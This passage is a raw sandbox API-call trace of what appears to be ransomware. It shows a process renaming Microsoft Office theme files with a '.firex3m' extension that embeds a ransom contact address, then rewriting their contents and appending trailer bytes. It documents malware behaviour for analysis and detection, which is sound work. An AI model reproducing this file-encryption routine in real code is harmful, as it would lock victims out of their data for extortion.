Shared\\THEMES16\\EDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.582] GetProcessHeap () returned 0x630000 [0257.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x756b538 [0257.582] GetProcessHeap () returned 0x630000 [0257.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x7569990 [0257.582] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.582] ReadFile (in: hFile=0x5ec, lpBuffer=0x756b538, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x756b538*, lpNumberOfBytesRead=0x40bff0c*=0x540, lpOverlapped=0x0) returned 1 [0257.589] GetProcessHeap () returned 0x630000 [0257.589] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0257.589] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.589] WriteFile (in: hFile=0x5ec, lpBuffer=0x7569990*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7569990*, lpNumberOfBytesWritten=0x40bff0c*=0x540, lpOverlapped=0x0) returned 1 [0257.589] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.589] WriteFile (in: hFile=0x5ec, lpBuffer=0x7569ecf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7569ecf*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.589] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.590] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.590] CloseHandle (hObject=0x5ec) returned 1 [0257.590] GetProcessHeap () returned 0x630000 [0257.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7569990 | out: hHeap=0x630000) returned 1 [0257.590] GetProcessHeap () returned 0x630000 [0257.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x756b538 | out: hHeap=0x630000) returned 1 [0257.590] GetProcessHeap () returned 0x630000 [0257.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0257.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f7c8a6e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x40bfd20, dwReserved1=0x756b538, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0257.590] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.590] Sleep (dwMilliseconds=0x1) [0257.638] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF", len=0x6e | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF") returned 1 [0257.638] GetProcessHeap () returned 0x630000 [0257.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb0) returned 0x6fe3bb0 [0257.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0257.639] CloseHandle (hObject=0x678) returned 1 [0257.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.641] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5580 [0257.641] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0257.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0257.641] GetProcessHeap () returned 0x630000 [0257.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x7569990 [0257.641] GetProcessHeap () returned 0x630000 [0257.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x756a4a0 [0257.641] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.641] ReadFile (in: hFile=0x678, lpBuffer=0x7569990, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7569990*, lpNumberOfBytesRead=0x40bff0c*=0x540, lpOverlapped=0x0) returned 1 [0257.654] GetProcessHeap () returned 0x630000 [0257.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0257.654] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.654] WriteFile (in: hFile=0x678, lpBuffer=0x756a4a0*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x756a4a0*, lpNumberOfBytesWritten=0x40bff0c*=0x540, lpOverlapped=0x0) returned 1 [0257.654] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.655] WriteFile (in: hFile=0x678, lpBuffer=0x756a9df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x756a9df*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.655] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.655] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.655] CloseHandle (hObject=0x678) returned 1 [0257.655] GetProcessHeap () returned 0x630000 [0257.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x756a4a0 | out: hHeap=0x630000) returned 1 [0257.655] GetProcessHeap () returned 0x630000 [0257.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7569990 | out: hHeap=0x630000) returned 1 [0257.655] GetProcessHeap () returned 0x630000 [0257.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0257.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f8611d1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x40bfd20, dwReserved1=0x7569990, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0257.655] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0257.655] Sleep (dwMilliseconds=0x1) [0257.696] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF", len=0x6e | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF") returned 1 [0257.696] GetProcessHeap () returned 0x630000 [0257.696] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cac) returned 0x6fe3bb0 [0257.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0257.697] CloseHandle (hObject=0x678) returned 1 [0257.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="ECLIPSE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECLIPS~1.FIR")) returned 0x6d51c0 [0257.699] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0257.700] GetProcessHeap () returned 0x630000 [0257.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0257.700] GetProcessHeap () returned 0x630000 [0257.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0257.700] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.700] ReadFile (in: hFile=0x678, lpBuffer=0x6d7040, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesRead=0x40bff0c*=0x240, lpOverlapped=0x0) returned 1 [0259.193] GetProcessHeap () returned 0x630000 [0259.193] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0259.193] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.193] WriteFile (in: hFile=0x678, lpBuffer=0x6d8480*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesWritten=0x40bff0c*=0x240, lpOverlapped=0x0) returned 1 [0259.193] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.193] WriteFile (in: hFile=0x678, lpBuffer=0x6d86bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d86bf*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.193] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.193] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.193] CloseHandle (hObject=0x678) returned 1 [0259.193] GetProcessHeap () returned 0x630000 [0259.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0259.194] GetProcessHeap () returned 0x630000 [0259.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0259.194] GetProcessHeap () returned 0x630000 [0259.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0261.207] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x607037bd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x40bfd20, dwReserved1=0x6d7040, cFileName="ECLIPSE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECLIPS~1.FIR")) returned 0x6d51c0 [0261.207] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.208] Sleep (dwMilliseconds=0x1) [0261.220] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM", len=0x6e | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM") returned 1 [0261.220] GetProcessHeap () returned 0x630000 [0261.220] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c58) returned 0x6fe3bb0 [0261.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0261.318] CloseHandle (hObject=0x704) returned 1 [0261.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="CASCADE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CASCAD~2.FIR")) returned 0x6d5440 [0261.459] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0261.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0261.459] GetProcessHeap () returned 0x630000 [0261.459] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0261.460] GetProcessHeap () returned 0x630000 [0261.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0261.460] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.460] ReadFile (in: hFile=0x704, lpBuffer=0x72a3b20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0266.165] GetProcessHeap () returned 0x630000 [0266.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0266.165] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.166] WriteFile (in: hFile=0x704, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0266.166] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.166] WriteFile (in: hFile=0x704, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.166] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.166] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.166] CloseHandle (hObject=0x704) returned 1 [0266.167] GetProcessHeap () returned 0x630000 [0266.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0266.167] GetProcessHeap () returned 0x630000 [0266.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0266.167] GetProcessHeap () returned 0x630000 [0266.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0266.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6497cb9d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xba68, dwReserved0=0xb247496, dwReserved1=0x72a3b18, cFileName="CASCADE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CASCAD~2.FIR")) returned 0x6d4f00 [0266.167] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0266.167] Sleep (dwMilliseconds=0x1) [0268.049] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft 